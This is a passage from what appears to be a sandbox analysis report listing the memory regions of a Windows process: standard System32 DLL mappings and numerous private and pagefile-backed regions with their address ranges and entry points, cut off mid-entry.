start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1262 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1263 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1264 start_va = 0x7fefc1a0000 end_va = 0x7fefc1ebfff monitored = 0 entry_point = 0x7fefc1a7950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1265 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1266 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1267 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1268 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1269 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1270 start_va = 0x7fefc670000 end_va = 0x7fefc6a1fff monitored = 0 entry_point = 0x7fefc67144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1271 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1272 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1273 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1274 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1275 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1276 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1277 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1278 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1279 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1280 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1281 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1282 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1283 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1284 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1285 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1286 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1287 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1288 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1289 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1290 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1291 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1292 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1293 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1294 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1295 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1296 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1297 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1298 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1299 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1300 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1301 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1302 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1303 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1304 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1305 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1306 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1307 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1308 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1309 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1310 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1311 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1312 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1313 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1314 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1315 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1316 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1317 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1318 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1319 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1320 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1321 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1322 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1713 start_va = 0x4e20000 end_va = 0x5214fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e20000" filename = "" Region: id = 1714 start_va = 0x5220000 end_va = 0x5614fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 1716 start_va = 0x4e20000 end_va = 0x521cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 1719 start_va = 0x1070000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1720 start_va = 0x10c0000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 1721 start_va = 0x10e0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 1722 start_va = 0x1100000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1723 start_va = 0x1120000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 1724 start_va = 0x11c0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 1725 start_va = 0x11e0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1726 start_va = 0x1200000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1727 start_va = 0x1220000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 1728 start_va = 0x13d0000 end_va = 0x13effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1729 start_va = 0x13f0000 end_va = 0x140ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1730 start_va = 0x1410000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 1731 start_va = 0x1430000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 1732 start_va = 0x1450000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1733 start_va = 0x1470000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1734 start_va = 0x1510000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 1735 start_va = 0x1530000 end_va = 0x154ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 1736 start_va = 0x1550000 end_va = 0x156ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 1737 start_va = 0x1570000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 1738 start_va = 0x1590000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1739 start_va = 0x1660000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001660000" filename = "" Region: id = 1740 start_va = 0x1680000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 1741 start_va = 0x17a0000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 1742 start_va = 0x18e0000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 1743 start_va = 0x1900000 end_va = 0x191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1744 start_va = 0x1920000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001920000" filename = "" Region: id = 1745 start_va = 0x19d0000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 1746 start_va = 0x19f0000 end_va = 0x1a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1747 start_va = 0x1a10000 end_va = 0x1a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 1748 start_va = 0x1b30000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 1749 start_va = 0x1b50000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b50000" filename = "" Region: id = 1750 start_va = 0x1cf0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 1751 start_va = 0x1d10000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 1752 start_va = 0x1d30000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1753 start_va = 0x1d50000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1754 start_va = 0x1e00000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1755 start_va = 0x1ea0000 end_va = 0x1ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1756 start_va = 0x1ec0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 1757 start_va = 0x3480000 end_va = 0x349ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1758 start_va = 0x34a0000 end_va = 0x34bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 1759 start_va = 0x3540000 end_va = 0x355ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 1760 start_va = 0x3560000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 1761 start_va = 0x3580000 end_va = 0x359ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 1762 start_va = 0x36b0000 end_va = 0x36cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 1763 start_va = 0x36f0000 end_va = 0x370ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 1764 start_va = 0x3710000 end_va = 0x372ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 1765 start_va = 0x37c0000 end_va = 0x37dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 1770 start_va = 0x4e20000 end_va = 0x5214fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e20000" filename = "" Region: id = 1771 start_va = 0x5220000 end_va = 0x5614fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 1772 start_va = 0x5620000 end_va = 0x5a1cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005620000" filename = "" Region: id = 1773 start_va = 0x37e0000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037e0000" filename = "" Region: id = 1774 start_va = 0x3800000 end_va = 0x381ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1775 start_va = 0x3820000 end_va = 0x383ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 1776 start_va = 0x38d0000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 1777 start_va = 0x38f0000 end_va = 0x390ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 1778 start_va = 0x3910000 end_va = 0x392ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 1779 start_va = 0x970000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 1780 start_va = 0x990000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 1781 start_va = 0x9b0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 1782 start_va = 0x5a20000 end_va = 0x5e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a20000" filename = "" Region: id = 1783 start_va = 0x9d0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 1784 start_va = 0x3950000 end_va = 0x396ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003950000" filename = "" Region: id = 1785 start_va = 0x3970000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003970000" filename = "" Region: id = 1786 start_va = 0x3990000 end_va = 0x39affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003990000" filename = "" Region: id = 1787 start_va = 0x39b0000 end_va = 0x39cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039b0000" filename = "" Region: id = 1788 start_va = 0x39d0000 end_va = 0x39effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 1789 start_va = 0x39f0000 end_va = 0x3a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039f0000" filename = "" Region: id = 1790 start_va = 0x3a10000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a10000" filename = "" Region: id = 1791 start_va = 0x3a30000 end_va = 0x3a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a30000" filename = "" Region: id = 1792 start_va = 0x3ad0000 end_va = 0x3aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 1793 start_va = 0x3af0000 end_va = 0x3b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003af0000" filename = "" Region: id = 1794 start_va = 0x3b10000 end_va = 0x3b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b10000" filename = "" Region: id = 1795 start_va = 0x3b30000 end_va = 0x3b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b30000" filename = "" Region: id = 1796 start_va = 0x3b50000 end_va = 0x3b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 1797 start_va = 0x3b70000 end_va = 0x3b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b70000" filename = "" Region: id = 1798 start_va = 0x3b90000 end_va = 0x3baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 1799 start_va = 0x3bb0000 end_va = 0x3bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003bb0000" filename = "" Region: id = 1800 start_va = 0x4560000 end_va = 0x457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004560000" filename = "" Region: id = 1801 start_va = 0x4580000 end_va = 0x459ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004580000" filename = "" Region: id = 1802 start_va = 0x45a0000 end_va = 0x45bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045a0000" filename = "" Region: id = 1803 start_va = 0x45c0000 end_va = 0x45dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045c0000" filename = "" Region: id = 1804 start_va = 0x45e0000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 1805 start_va = 0x4600000 end_va = 0x461ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 1806 start_va = 0x5e20000 end_va = 0x5e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e20000" filename = "" Region: id = 1807 start_va = 0x5e40000 end_va = 0x5e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 1808 start_va = 0x5e60000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e60000" filename = "" Region: id = 1809 start_va = 0x5e80000 end_va = 0x5e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 1810 start_va = 0x5ea0000 end_va = 0x5ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ea0000" filename = "" Region: id = 1811 start_va = 0x5ec0000 end_va = 0x62bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ec0000" filename = "" Region: id = 1812 start_va = 0x62c0000 end_va = 0x62dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000062c0000" filename = "" Region: id = 1813 start_va = 0x62e0000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000062e0000" filename = "" Region: id = 1814 start_va = 0x6300000 end_va = 0x631ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 1815 start_va = 0x6320000 end_va = 0x633ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006320000" filename = "" Region: id = 1816 start_va = 0x6340000 end_va = 0x635ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006340000" filename = "" Region: id = 1817 start_va = 0x6360000 end_va = 0x637ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 1818 start_va = 0x6380000 end_va = 0x639ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006380000" filename = "" Region: id = 1819 start_va = 0x63a0000 end_va = 0x63bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063a0000" filename = "" Region: id = 1820 start_va = 0x63c0000 end_va = 0x63dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063c0000" filename = "" Region: id = 1821 start_va = 0x63e0000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063e0000" filename = "" Region: id = 1822 start_va = 0x5220000 end_va = 0x5614fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 1823 start_va = 0x15b0000 end_va = 0x15b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 1824 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1825 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1826 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 1827 start_va = 0x2460000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = 